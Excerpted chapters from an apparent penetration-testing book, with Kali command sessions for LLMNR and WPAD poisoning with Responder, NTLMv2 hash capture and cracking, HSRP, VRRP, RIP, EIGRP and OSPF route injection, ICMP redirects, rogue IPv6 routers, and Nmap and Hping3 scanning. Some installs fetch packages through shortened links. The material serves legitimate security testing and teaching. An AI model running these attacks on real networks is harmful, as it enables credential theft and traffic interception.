Please send bugs/comments to: lgaffie@trustwave.com
To kill this script hit CRTL-C

[+]NBT-NS, LLMNR & MDNS responder started
[+]Loading Responder.conf File..
Global Parameters set:
Responder is bound to this interface: ALL
Challenge set: 1122334455667788
WPAD Proxy Server: False
WPAD script loaded:  function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch
(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host))  return "DIRECT"; if 
(dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) 
return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
HTTP Server: ON
HTTPS Server: ON
SMB Server: ON
SMB LM support: False
Kerberos Server: ON
SQL Server: ON
FTP Server: ON
IMAP Server: ON
POP3 Server: ON
SMTP Server: ON
DNS Server: ON
LDAP Server: ON
FingerPrint hosts: False
Serving Executable via HTTP&WPAD: OFF
Always Serving a Specific File via HTTP&WPAD: OFF

LLMNR poisoned answer sent to this IP: 192.168.208.156. The requested name was : pintserver.
[+]SMB-NTLMv2 hash captured from : 192.168.208.154
Domain is : WORKGROUP
User is : testuser
[+]SMB complete hash is : testuser::WORKGROUP:
1122334455667788:834735BBB9FBC3B168F1A721C5888E39:01010000000000004F51B4E9FADFCE01A7ABBB619699515
40000000002000A0073006D00620031003200010014005300450052005600450052003200300030003800040016007300
6D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006
D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C00080030
0030000000000000000000000000200000DFEC64C689142E250762FE31AD029114A4DFF12665D21124ED6C5111BA7D867
10A0010000000000000000000000000000000000009001E0063006900660073002F00700069006E007400730065007200
7600650072000000000000000000

^C
root@kali:~# john SMB-NTLMv2-Client-192.168.208.154.txt
Loaded 1 password hash (NTLMv2 C/R MD4 HMAC-MD5 [32/64])
password1 (testuser)

WPAD

Many browsers use Web Proxy Auto-Discovery (WPAD) to load proxy settings from the network. A WPAD server provides client proxy settings via a particular URL (e.g., http://wpad.example.org/wpad.dat) upon being identified through any of the following:

• DHCP, using a code 252 entry³⁴

• DNS, searching for the wpad hostname in the local domain

• Microsoft LLMNR and NBT-NS (in the event of DNS lookup failure)

Responder automates the WPAD attack—running a proxy and directing clients to a malicious WPAD server via DHCP, DNS, LLMNR, and NBT-NS. Example 5-14 demonstrates the tool used to configure local clients and compromise credentials.

root@kali:~# responder -i 192.168.208.156 -w
NBT Name Service/LLMNR Responder 2.0.
Please send bugs/comments to: lgaffie@trustwave.com
To kill this script hit CRTL-C

[+]NBT-NS, LLMNR & MDNS responder started
[+]Loading Responder.conf File..
Global Parameters set:
Responder is bound to this interface: ALL
Challenge set: 1122334455667788
WPAD Proxy Server: True
WPAD script loaded:  function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch
(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if 
(dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) 
return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
HTTP Server: ON
HTTPS Server: ON
SMB Server: ON
SMB LM support: False
Kerberos Server: ON
SQL Server: ON
FTP Server: ON
IMAP Server: ON
POP3 Server: ON
SMTP Server: ON
DNS Server: ON
LDAP Server: ON
FingerPrint hosts: False
Serving Executable via HTTP&WPAD: OFF
Always Serving a Specific File via HTTP&WPAD: OFF

LLMNR poisoned answer sent to this IP: 192.168.208.152.
The requested name was : wpad.
[+]WPAD file sent to: 192.168.208.152
[+][Proxy]HTTP-User & Password: chris:abc123

Internal Routing Protocols

Table 5-8 lists common routing protocols used within local networks, along with details of tools used to modify routing configuration and intercept traffic. BGP is an external routing protocol and out of scope.

Combine active attacks and passive network sniffing to understand the routing protocols in use (if any). Upon identifying support for particular protocols, consider the tools listed in Table 5-8 to manipulate the topology.

git clone https://github.com/magnumripper/JohnTheRipper.git
cd JohnTheRipper/src/
./configure && make && make install

root@kali:~# ettercap -Tqr capture.pcap > rip-hashes
root@kali:~# john rip-hashes
Loaded 2 password hashes with 2 different salts ("Keyed MD5" RIPv2)
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein           (RIPv2-224.0.0.9-520)
letmein           (RIPv2-224.0.0.9-520)

HSRP and VRRP

Hot Standby Routing Protocol (HSRP) and the Virtual Router Redundancy Protocol (VRRP) are used in high-availability environments to provide failover support, as demonstrated by Figure 5-15. Routers send packets to local multicast groups announcing configuration and priority details.

Figure 5-15. A redundant router group

HSRP is a proprietary Cisco protocol with no RFC, whereas VRRP is standardized.⁴² To evaluate HSRP and VRRP support within an environment, use a network sniffer to capture the management traffic. You can use a number of tools to craft HSRP messages (including Scapy and Yersinia, as listed in Table 5-8), but only Loki provides VRRP support at this time.

Attacking HSRP

Example 5-16 demonstrates Scapy used to craft HSRP packets that add 10.0.0.100 to the virtual router group at 10.0.0.1. Scapy sends packets with a hardcoded authentication string of cisco, which is the default used in most configurations. If MD5 authentication is in use, take a look at DarK’s patch for Scapy,⁴³ which provides support via HSRPmd5().

Example 5-16. HSRP packet generation with Scapy

root@kali:~/scapy# scapy
Welcome to Scapy (2.2.0)
>>> ip = IP(src='10.0.0.100', dst='224.0.0.2')
>>> udp = UDP()
>>> hsrp = HSRP(group=1, priority=255, virtualIP='10.0.0.1')
>>> send(ip/udp/hsrp, iface='eth1', inter=3, loop=1)

Some environments might use an arbitrary plaintext authentication string, which Yersinia can capture and present (within its HSRP protocol view):

┌── yersinia 0.7.3 by Slay & tomac - HSRP mode ───────────────────[18:29:40]┐
│    SIP         DIP          Auth     VIP         Iface Last seen          │
│    10.0.0.2    224.0.0.2    abc123   10.0.0.1    eth1  26 Aug 18:28:09    │
│    10.0.0.3    224.0.0.2    abc123   10.0.0.1    eth1  26 Aug 18:26:06    │
│                                                                           │

To include an authentication string within the HSRP packets, use hsrp:

while (true);
  do (hsrp -i eth1 -d 224.0.0.2 -v 10.0.0.1 -a abc123 -g 1 –S 10.0.0.100; sleep 3);
done

Attacking VRRP

VRRP credentials are easily obtained by using tcpdump if simple authentication is used,⁴⁴ as shown by Example 5-17. Packets are sent to a multicast destination of 224.0.0.18 (IPv4) or ff02::12 (IPv6).

Example 5-17. VRRP packet capture and decode using tcpdump

13:34:02 0:0:5e:0:1:1 1:0:5e:0:0:12 ip 60 10.0.0.7 > 224.0.0.18 VRRPv2-advertisement 
20: vrid=1 prio=100 authtype=simple intv1=1 addrs: 10.0.0.8 auth "abc123" [tos 0xc0] 
(ttl 244, id 0, len 40)
0x0000   45c0 0028 0000 0000 ff70 19e4 c0a8 0007        E..(.....p......
0x0010   e000 0012 2101 6401 0101 dd1f c0a8 0007        ....!.d.........
0x0020   6162 6331 3233 0000 0000 0000 0000 0000        abc123..........

You can then use Scapy to craft VRRP packets, as demonstrated by Example 5-18.

Example 5-18. VRRP packet generation with Scapy

root@kali:~/scapy# scapy
Welcome to Scapy (2.2.0)
>>> ip = IP(src='10.0.0.100', dst='224.0.0.18')
>>> udp = UDP()
>>> vrrp = VRRP(vrid=1, priority=255, addrlist=["10.0.0.7", "10.0.0.8"], ipcount=2, \
auth1='abc123')
>>> send(ip/udp/vrrp, iface='eth1', inter=3, loop=1)

RIP

Three versions of the Routing Information Protocol (RIP) exist—RIP,⁴⁵ RIPv2,⁴⁶ and RIPng.⁴⁷ RIP and RIPv2 use UDP datagrams sent to peers via port 520, whereas RIPng broadcasts datagrams to UDP port 521 via IPv6 multicast. RIPv2 introduced MD5 authentication support. RIPng does not incorporate native authentication; rather, it relies on optional IPsec AH and ESP headers⁴⁸ within IPv6.

RIP peers process unsolicited route advertisements in many cases. Consider the environment shown in Figure 5-16. Using Nemesis and Scapy, we can inject a route on the victim host (10.0.0.5), specifying the new gateway for the destination server (10.2.0.10) as 10.0.0.100.

Figure 5-16. A simple local area network

Nemesis requires setup and configuration within Kali Linux. Download the source code from http://nemesis.sourceforge.net, unpack to /root/nemesis-1.4/, and then execute the following commands:

cd
wget http://bit.ly/2bjmImD
tar xvfz libnet-1.0.2a.tar.gz
cd Libnet-1.0.2a/
./configure
make && make install
cd ../nemesis-1.4/
./configure -with-libnet-includes=/root/Libnet-1.0.2a/include \
-with-libnet-libraries=/root/Libnet-1.0.2a/lib
make && make install

Following is the Nemesis and Scapy attack syntax used for each RIP protocol version:

1. RIPv1

   nemesis rip –c 2 –V 1 –a 1 –i 10.2.0.10 –m 1 –V 1 –S 10.0.0.100 –D 10.0.0.5

2. RIPv2

   nemesis rip –c 2 –V 2 –a 1 –i 10.2.0.10 –k 0xffffffff –m 1 –V 1 –S 10.0.0.100 -D 10.0.0.5

3. RIPng (IPv6)

   root@kali:~/scapy# scapy
   Welcome to Scapy (2.2.0)
   >>> load_contrib("ripng")
   >>> ip = IPv6(src="2001:1234:cafe:babe::1", dst="ff02::9")
   >>> udp = UDP()
   >>> ripng = RIPngEntry(prefix="2001:1234:dead:beef::/64", nexthop="2001:1234:cafe:babe::1")
   >>> send (ip/udp/ripng, iface='eth0', inter=3, loop=1)

root@kali:~# svn checkout http://coly.googlecode.com/svn/trunk/ coly-read-only
A    coly-read-only/coly.py
Checked out revision 13.
root@kali:~# cd coly-read-only/
root@kali:~/coly-read-only# ./coly.py
EIGRP route injector, v0.1 Source: http://code.google.com/p/coly/
kali(router-config)# interface eth1
Interface set to eth1, IP: 10.0.0.100
kali(router-config)# discover
Discovering Peers and AS
Peer found: 10.0.0.3 AS: 50
AS set to 50
Peer found: 10.0.0.2 AS: 50
kali(router-config)# hi
Hello thread started
kali(router-config)# inject 10.2.0.0/24
Sending route to 10.0.0.3
Sending route to 10.0.0.2

OSPF

Most Open Shortest Path First (OSPF)⁵⁰ implementations use MD5 to provide authentication between routers. Loki and John the Ripper can capture and attack MD5 hashes to reveal the key, which can then be used to advertise new routes, as demonstrated by Figure 5-17. The route parameters are set by using the Injection tab, and the key set under Connection.

To install and execute Loki within Kali Linux, execute the following commands:

wget http://bit.ly/2asPnCf
wget http://bit.ly/2apbpEU
wget http://bit.ly/2awOiXH
wget http://bit.ly/2aK279c
wget http://bit.ly/2aKbipx
dpkg -i pylibpcap_0.6.2-1_i386.deb
dpkg -i libssl0.9.8_0.9.8o-7_i386.deb
dpkg -i python-dpkt_1.6+svn54-1_all.deb
dpkg -i python-dumbnet_1.12-3.1_i386.deb
dpkg -i loki_0.2.7-1_i386.deb
/usr/bin/loki.py

Figure 5-17. Advertising a new OSPF route using Loki

root@kali:~# cd /usr/share/responder/
root@kali:/usr/share/responder# chmod a+x Icmp-Redirect.py
root@kali:/usr/share/responder# ./Icmp-Redirect.py –I eth0 –i 10.0.0.100 –g 10.0.0.1 \
–t 10.0.0.5 –r 10.2.0.10

ICMP Redirect Utility 0.1.
Created by Laurent Gaffie, please send bugs/comments to lgaffie@trustwave.com

This utility combined with Responder is useful when you're sitting on a Windows based 
network.
Most Linux distributions discard by default ICMP Redirects.
Note that if the target is Windows, the poisoning will only last for 10mn, you can 
re-poison the target by launching this utility again.
If you wish to respond to the traffic, for example DNS queries your target issues, 
launch this command as root:

iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst 
10.2.0.10 --dport 53 -j DNAT --to-destination 10.0.0.100:53

[ARP]Target Mac address is : 00:17:f2:0f:5d:19
[ARP]Router Mac address is : 00:50:56:e2:a7:d5

[ICMP]10.0.0.5 should have been poisoned with a new route for target: 10.2.0.10.

IPv6 Network Discovery

The Neighbor Discovery Protocol (NDP)⁵³ defines five ICMPv6 message types used to organize and configure local IPv6 networks, as listed in Table 5-9. Tools exist to take advantage of these protocols, as described in the subsequent sections.

Figures 5-18 and 5-19 demonstrate router and neighbor discovery. NDP operates on the data link layer, using broadcasts sent to Ethernet multicast addresses. Local transport layer protocols are also used within IPv6 environments for host configuration—primarily DHCPv6 to configure DNS, and WPADv6 to describe web proxy settings.

Figure 5-18. IPv6 router advertisement

Figure 5-19. IPv6 neighbor solicitation and advertisement

root@kali:~# ping6 -c2 -I eth1 ff02::1
PING ff02::1(ff02::1) from fe80::20e:c6ff:fef0:2965 eth1: 56 data bytes
64 bytes from fe80::20e:c6ff:fef0:2965: icmp_seq=1 ttl=64 time=0.040 ms
64 bytes from fe80::1a03:73ff:fe27:35a8: icmp_seq=1 ttl=64 time=1.23 ms
64 bytes from fe80::217:f2ff:fe0f:5d19: icmp_seq=1 ttl=64 time=1.23 ms
64 bytes from fe80::426c:8fff:fe2a:e708: icmp_seq=1 ttl=64 time=1.23 ms
64 bytes from fe80::e4d:e9ff:fec5:8f53: icmp_seq=1 ttl=64 time=1.47 ms
64 bytes from fe80::3ed9:2bff:fe9f:bc94: icmp_seq=1 ttl=64 time=1.62 ms
64 bytes from fe80::ba2a:72ff:fef1:b747: icmp_seq=1 ttl=64 time=1.85 ms
64 bytes from fe80::a2d3:c1ff:fed1:2a8e: icmp_seq=1 ttl=64 time=2.18 ms

root@kali:~# nmap -6 -e eth1 -sSVC -F fe80::217:f2ff:fe0f:5d19

Starting Nmap 6.47 (http://nmap.org) at 2015-08-17 15:01 EDT
Nmap scan report for fe80::217:f2ff:fe0f:5d19
PORT     STATE SERVICE      VERSION
22/tcp   open  ssh          OpenSSH 5.6 (protocol 2.0)
| ssh-hostkey:
|   1024 56:17:24:77:ab:fc:d0:9f:ad:91:79:3d:1a:80:49:c6 (DSA)
|_  2048 af:f8:27:9f:b1:ab:4b:c0:67:e4:e0:06:2f:4b:5f:68 (RSA)
88/tcp   open  kerberos-sec Heimdal Kerberos (server time: 2015-08-17 19:02:00Z)
5900/tcp open  vnc          Apple remote desktop vnc
| vnc-info:
|   Protocol version: 3.889
|   Security types:
|     Mac OS X security type (30)
|_    Mac OS X security type (35)
MAC Address: 00:17:F2:0F:5D:19 (Apple)
Service Info: OS: Mac OS X; CPE: cpe:/o:apple:mac_os_x

Host script results:
| address-info:
|   IPv6 EUI-64:
|     MAC address:
|       address: 00:17:f2:0f:5d:19
|_      manuf: Apple

msf > use auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
msf auxiliary(ipv6_neighbor_router_advertisement) > set INTERFACE eth1
msf auxiliary(ipv6_neighbor_router_advertisement) > run

[*] Sending router advertisement...
[*] Listening for neighbor solicitation...
[*]    |*| 2001:1234:dead:beef:5ed:a8d7:d46b:7ec
[*]    |*| 2001:1234:dead:beef:92b1:1cff:fe8e:e5d3
[*]    |*| 2001:1234:dead:beef:3ed9:2bff:fe9f:bc94
[*]    |*| 2001:1234:dead:beef:b4:3cff:fecb:eb14
[*]    |*| 2001:1234:dead:beef:1a03:73ff:fe27:35a8
[*]    |*| 2001:1234:dead:beef:e4d:e9ff:fec5:8f53
[*] Attempting to solicit link-local addresses...
[*]    |*| fe80::5ed:a8d7:d46b:7ec -> 90:b1:1c:65:0c:09
[*]    |*| fe80::92b1:1cff:fe8e:e5d3 -> 90:b1:1c:8e:e5:d3
[*]    |*| fe80::3ed9:2bff:fe9f:bc94 -> 3c:d9:2b:9f:bc:94
[*]    |*| fe80::b4:3cff:fecb:eb14 -> 02:b4:3c:cb:eb:14
[*]    |*| fe80::1a03:73ff:fe27:35a8 -> 18:03:73:27:35:a8
[*]    |*| fe80::e4d:e9ff:fec5:8f53 -> 0c:4d:e9:c5:8f:53

Intercepting local IPv6 traffic

The THC IPv6 toolkit includes three utilities to impersonate neighbors and routers, as listed Table 5-10. In addition to these data link attacks, you can use rogue DHCPv6 and WPADv6 services to proliferate name server and web proxy details to clients.

Table 5-10. THC IPv6 tools inducing traffic interception

Utility	Method	Purpose
parasite6	Neighbor advertisement	Impersonate an IPv6 node
fake_router6	Router advertisement	Advertise a new default IPv6 gateway
redir6	Redirect spoofing	Inject a router between victim and target

Many IPv4 environments contain hosts that support (and prefer) IPv6, including Microsoft Windows and Apple OS X. Figure 5-20 demonstrates how, upon configuring a rogue IPv6 gateway in the environment, you can create an overlay network and compromise traffic.

Figure 5-20. Implementing a malicious IPv6 overlay network

A DNS server is used to provide IPv6 destinations for lookup requests from clients, ensuring that sessions to IPv4 destinations are routed via our rogue IPv6 gateway. The process is shown in Figure 5-21.

Figure 5-21. Serving IPv6 clients via NAT64 and DNS64

Practical execution of this attack involves the following:

• Configuring a NAT64 gateway, performing IPv6-to-IPv4 translation

• Configuring a DNS64 server, providing IPv6 responses to IPv4 DNS requests

• IPv6 router advertisement using fake_router6

• Proliferating the DNS64 configuration using DHCPv6

The Evil Foca utility,⁵⁶ which is available for Windows only, automates the attack. To prepare a Kali Linux IPv6 attack platform, review the InfoSec Institute “SLAAC Attack” tutorial,⁵⁷ which provides step-by-step instructions for NAT64, DNS64, DHCPv6, and optional NAT-PT configuration. Jonathan Cran’s slide deck “Practical Man in the Middle”⁵⁸ also details the attack (among others).

Note

Scapy is a very powerful tool that can craft Ethernet frames and IPv6 packets. Philippe Biondi and Arnaud Ebalard’s presentation “Scapy and IPv6 networking presentation”⁵⁹ details advanced tactics that you can adopt during testing.

Reviewing local IPv6 configuration

Table 5-11 lists native commands within Linux, Apple OS X, and Microsoft Windows used to show cached IPv6 neighbors and routing configuration. Use these to ensure that advertisement messages are being propagated correctly, along with ifconfig (Linux, Apple OS X) and ipconfig (Windows) to display network interfaces and their IPv6 configuration.

Table 5-11. Local IPv6 commands

Platform	Goal	Command
Apple OS X	Show neighbors Show IPv6 routes	ndp -an netstat -f inet6 -nr
Linux	Show neighbors Show IPv6 routes	ip -6 neigh netstat -6nr
Windows	Show neighbors Show IPv6 routes	netsh interface ipv6 show neighbors netsh interface ipv6 show routes

ICMP

Nmap supports ICMP scanning over both IPv4 and IPv6 to map subnets within larger IP blocks and elicit responses from hosts (depending on configuration). Here are two particularly useful ICMPv4 message types:

Type 8 (echo request)

Used by ping and other utilities to identify accessible hosts.

Type 13 (timestamp request)

Provides the system time information from the target in decimal format.

IANA maintains comprehensive lists of ICMPv4 and ICMPv6 message types.¹ Many useful ICMPv4 types have been deprecated in recent years, including 17 (address mask request) and 37 (domain name request). Within legacy networks these can yield useful information.

root@kali:~# nmap -PEPM -sP –vvv -n 10.12.5.0/24

Starting Nmap 6.49BETA4 (https://nmap.org) at 2015-09-07 18:22 EDT
Initiating Ping Scan at 18:22
Scanning 256 hosts [3 ports/host]
Completed Ping Scan at 18:23, 7.24s elapsed (256 total hosts)
Nmap scan report for 10.12.5.0 [host down, received no-response]
Nmap scan report for 10.12.5.1
Host is up, received echo-reply ttl 128 (0.012s latency).
Nmap scan report for 10.12.5.16
Host is up, received echo-reply ttl 128 (0.023s latency).
Nmap scan report for 10.12.5.17
Host is up, received echo-reply ttl 128 (0.027s latency).
Nmap scan report for 10.12.5.18
Host is up, received echo-reply ttl 128 (0.031s latency).
Nmap scan report for 10.12.5.20
Host is up, received echo-reply ttl 128 (0.039s latency).
Nmap scan report for 10.12.5.21
Host is up, received echo-reply ttl 128 (0.043s latency).
Nmap scan report for 10.12.5.22
Host is up, received echo-reply ttl 128 (0.047s latency).

root@kali:~# ping -b 10.10.5.255
WARNING: pinging broadcast address
PING 10.10.5.255 (10.10.5.255) 56(84) bytes of data.
64 bytes from 10.10.5.79: icmp_seq=1 ttl=64 time=1.01 ms
64 bytes from 10.10.5.10: icmp_seq=1 ttl=64 time=1.79 ms (DUP!)
64 bytes from 10.10.5.13: icmp_seq=1 ttl=64 time=3.67 ms (DUP!)
64 bytes from 10.10.5.11: icmp_seq=1 ttl=64 time=3.67 ms (DUP!)
64 bytes from 10.10.5.12: icmp_seq=1 ttl=64 time=3.67 ms (DUP!)
64 bytes from 10.10.5.99: icmp_seq=1 ttl=64 time=3.67 ms (DUP!)
64 bytes from 10.10.5.14: icmp_seq=1 ttl=64 time=3.67 ms (DUP!)

root@kali:~# ping -b 255.255.255.255
WARNING: pinging broadcast address
PING 255.255.255.255 (255.255.255.255) 56(84) bytes of data.
64 bytes from 10.10.5.79: icmp_seq=1 ttl=64 time=1.28 ms
64 bytes from 10.12.5.251: icmp_seq=1 ttl=63 time=1.28 ms (DUP!)
64 bytes from 10.12.5.239: icmp_seq=1 ttl=63 time=1.28 ms (DUP!)
64 bytes from 10.12.5.240: icmp_seq=1 ttl=63 time=1.28 ms (DUP!)
64 bytes from 10.12.5.201: icmp_seq=1 ttl=63 time=1.28 ms (DUP!)
64 bytes from 10.12.5.248: icmp_seq=1 ttl=63 time=1.84 ms (DUP!)
64 bytes from 10.10.5.10: icmp_seq=1 ttl=64 time=1.85 ms (DUP!)
64 bytes from 10.12.5.242: icmp_seq=1 ttl=63 time=1.85 ms (DUP!)
64 bytes from 10.12.5.235: icmp_seq=1 ttl=63 time=4.73 ms (DUP!)
64 bytes from 10.12.5.246: icmp_seq=1 ttl=63 time=6.02 ms (DUP!)
64 bytes from 10.12.5.244: icmp_seq=1 ttl=63 time=8.19 ms (DUP!)

TCP

Nmap supports many TCP scanning modes, which are particularly useful when performing stealth scans and understanding low-level network configuration. For the purpose of identifying accessible services, the basic TCP SYN (-sS) mode should be used, as demonstrated by Example 6-4.

root@kali:~# nmap -sS 10.10.5.10

Starting Nmap 6.49BETA4 (https://nmap.org) at 2015-09-07 18:45 EDT
Nmap scan report for 10.10.5.10
Not shown: 933 filtered ports, 60 closed ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
3389/tcp  open  ms-wbt-server
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown

By default, Nmap will perform host discovery and identify accessible hosts to scan.² When testing hardened environments, you should use the -Pn flag to force scanning of each address. A slower timing policy (such as -T2) is also useful because an aggressive policy might trigger SYN flood protection and cause packets to be dropped.

Nmap returns a state (open, closed, or filtered) for each port. Figures 6-2 through 6-5 demonstrate SYN probes eliciting four response variants: a SYN/ACK packet (indicating an open port); RST/ACK (denoting closed); no response; or an ICMP type 3 message (implying a filter).

Figure 6-2. Open port behavior

Figure 6-3. Closed port behavior

Figure 6-4. Filtered port behavior (no response)

Figure 6-5. Filtered port behavior (ICMP response)

IPv4 firewalls and routers often generate ICMP type 3 (destination unreachable) responses, which provide insight into network configuration. Table 6-1 lists common ICMP type 3 message codes.³

UDP

The connectionless nature of UDP means that services are identified either through negative scanning (inferring open ports based on ICMP unreachable responses of those which are closed), or through use of correctly formatted datagrams to elicit a response from a service (e.g., DNS, DHCP, TFTP, and others, as listed in nmap-payloads⁴), known as payload scanning.

ICMP is an unreliable indicator because security-conscious organizations tend to filter messages, and most operating systems rate-limit ICMP responses by default.

Nmap uses a combination of both negative and payload scanning (versus just a single mode) via the -sU flag. This often clouds output, as demonstrated by Example 6-5, in which both open and open|filtered states are returned.

root@kali:~# nmap -Pn -sU -open -F -vvv -n 10.3.0.1

Starting Nmap 6.46 (http://nmap.org) at 2014-10-27 02:37 UTC
Initiating UDP Scan at 02:37
Scanning 10.3.0.1 [100 ports]
Discovered open port 137/udp on 10.3.0.1
Discovered open port 123/udp on 10.3.0.1
Completed UDP Scan at 02:38, 13.25s elapsed (100 total ports)
Nmap scan report for 10.3.0.1
Scanned at 2014-10-27 02:37:49 UTC for 13s
PORT      STATE         SERVICE
7/udp     open|filtered echo
9/udp     open|filtered discard
17/udp    open|filtered qotd
19/udp    open|filtered chargen
49/udp    open|filtered tacacs
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
80/udp    open|filtered http
88/udp    open|filtered kerberos-sec
111/udp   open|filtered rpcbind
120/udp   open|filtered cfdptkt
123/udp   open          ntp
135/udp   open|filtered msrpc
136/udp   open|filtered profile
137/udp   open          netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   open|filtered netbios-ssn
158/udp   open|filtered pcmail-srv
161/udp   open|filtered snmp

The verbose output shows that ports 123 (NTP) and 137 (the NetBIOS name service) are open based on responses to crafted payloads. The other ports are listed based on unreliable ICMP feedback.

Using the -sUV flag, you can actively probe each UDP port and see which respond. Running Nmap in this fashion is, however, very slow against ambiguous open|filtered ports, and impractical when testing large networks.

Example 6-6 demonstrates using Nmap to scan five UDP ports of a single host, taking 114 seconds to complete. Deeper testing reveals that port 53 is indeed listening.

root@kali:~# nmap -Pn -sUV -open -p53,123,135,137,161 -vvv -n 10.3.0.1

Starting Nmap 6.46 (http://nmap.org) at 2014-10-27 02:53 UTC
NSE: Loaded 29 scripts for scanning.
Initiating UDP Scan at 02:53
Scanning 10.3.0.1 [5 ports]
Discovered open port 123/udp on 10.3.0.1
Discovered open port 137/udp on 10.3.0.1
Stats: 0:00:09 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 99.99% done; ETC: 02:53 (0:00:00 remaining)
Completed UDP Scan at 02:53, 9.08s elapsed (5 total ports)
Initiating Service scan at 02:53
Scanning 5 services on 10.3.0.1
Discovered open port 53/udp on 10.3.0.1
Discovered open|filtered port 53/udp on 10.3.0.1 is actually open
Completed Service scan at 02:55, 75.06s elapsed (5 services on 1 host)
NSE: Script scanning 10.3.0.1.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 02:55
Completed NSE at 02:55, 30.02s elapsed
Nmap scan report for 10.3.0.1
Scanned at 2014-10-27 02:53:40 UTC for 114s
PORT    STATE         SERVICE    VERSION
53/udp  open          domain     dnsmasq 2.50
123/udp open          ntp        NTP v4
135/udp open|filtered msrpc
137/udp open          netbios-ns Samba nmbd (workgroup: UCOPIA)
161/udp open|filtered snmp
Service Info: Host: CONTROLLER

An alternative tool that you can use to perform UDP payload scanning is Unicornscan.⁵ Against the 10.3.0.1 candidate, results are returned almost instantly:

root@kali:~# unicornscan -mU 10.3.0.1
UDP open          domain[   53] from 10.3.0.1  ttl 128
UDP open      netbios-ns[  137] from 10.3.0.1  ttl 128

UDP scanning results vary by tool selection and network conditions. Nmap provides a comprehensive option with -sUV, but testing of a single host using the -F option (scanning 100 ports) can take more than 10 minutes to complete.

SCTP

SCTP sits alongside TCP and UDP, as shown in Figure 6-1. Intended to provide transport of telephony data over IP, the protocol duplicates many of the reliability features of Signaling System 7 (SS7), and underpins a larger protocol family known as SIGTRAN. SCTP is supported by operating systems including IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS, and VxWorks.

Packet format

Each SCTP packet contains a header and associated chunks, as demonstrated by Figure 6-6. Source and destination port values are 16-bit (running from 0 to 65,535), and 8-bit chunk type values are listed in Table 6-2. Depending on the type, the chunk value field varies.

Figure 6-6. SCTP packet format

Table 6-2. SCTP chunk types

ID	Value	Description
0	DATA	Payload data
1	INIT	Initiation request
2	INIT ACK	Initiation acknowledgment
3	SACK	Selective acknowledgment
4	HEARTBEAT	Heartbeat request
5	HEARTBEAT ACK	Heartbeat acknowledgment
6	ABORT	Abort request
7	SHUTDOWN	Shutdown request
8	SHUTDOWN ACK	Shutdown acknowledgment
9	ERROR	Operation error
10	COOKIE ECHO	State cookie echo
11	COOKIE ACK	Cookie acknowledgment
12	ECNE	Explicit congestion notification echo
13	CWR	Congestion window reduced
14	SHUTDOWN COMPLETE	Shutdown complete

root@kali:~# nmap -6 -Pn -sY –n -open fe80::217:f2ff:fe0f:5d19

Starting Nmap 6.49BETA4 (https://nmap.org) at 2015-08-27 09:56 EDT
Nmap scan report for fe80::217:f2ff:fe0f:5d19
PORT       STATE SERVICE
2427/sctp  open  mgcp-gateway
2944/sctp  open  megago-h248
2945/sctp  open  h248-binary

Bringing Everything Together

Detailed assessment involves scanning all 65,536 TCP and SCTP ports for each IP address within scope, along with testing of common UDP ports (to save time). I have yet to find a UDP service running on a nonstandard port during testing, and so running a UDP scan with Nmap’s default services list is sufficient.

nmap –T4 –Pn –n –sS –F –oG tcp.gnmap 192.168.0.0/24
nmap –T4 –Pn –n –sY –F –oG sctp.gnmap 192.168.0.0/24
nmap –T4 –Pn –n –sU –p53,69,111,123,137,161,500,514,520 -oG  udp.gnmap 192.168.0.0/24

grep open *.gnmap | awk '{print $2}' | sort | uniq > targets.txt

nmap -6 -T4 -Pn -open -sS -A -oA ipv6_tcp_fast -iL targets.txt
nmap -6 -T4 -Pn -open -sSVC -A –p0-65535 -oA ipv6_tcp_full -iL targets.txt
nmap -6 -T4 -Pn -open -sY –p0-65535 -oA ipv6_sctp -iL targets.txt
nmap -6 -T3 -Pn -open -sU -oA ipv6_udp -iL targets.txt

Crafting Arbitrary Packets

Table 6-4 lists common Hping3 arguments used to craft TCP packets from the command line. The utility also supports raw IP, UDP, and scanning modes. Power users should consider Scapy because it offers increased flexibility.¹¹

-c <number>

-t <hops>

-s <port>

-d <port>

-S

-F

-A

Example 6-8 demonstrates Hping3 used to perform a TCP SYN port scan of common ports. For full details of the modes supported, review the documentation.¹²

root@kali:~# hping3 --scan known -S 192.185.5.1
Scanning 192.185.5.1 (192.185.5.1), port known
337 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name |  flags  |ttl| id  | win | len |
+----+-----------+---------+---+-----+-----+-----+
   21 ftp        : .S..A... 128  3987  8192    46
   25 smtp       : .S..A... 128  4755  8192    46
   53 domain     : .S..A... 128  6291  8192    46
   80 http       : .S..A... 128  8595  8192    46
  110 pop3       : .S..A... 128 10643  8192    46
  443 https      : .S..A... 128 17299  8192    46
  143 imap2      : .S..A... 128 30867  8192    46
  465 ssmtp      : .S..A... 128 33427  8192    46
  587 submission : .S..A... 128 39315  8192    46
  995 pop3s      : .S..A... 128 45715  8192    46

Hping3 TCP ACK (-A) and FIN (-F) probes used in conjunction with scanning mode can reveal quirks in IP stack implementations. By running a scan with the verbose flag (-V) and reviewing the responses to ACK and FIN probes, you can sometimes see variance in TTL and WINDOW values, indicating open ports. Uriel Maimon first described this behavior in Phrack magazine.¹³

root@kali:~# hping3 -c 3 -S -p 80 10.3.0.1
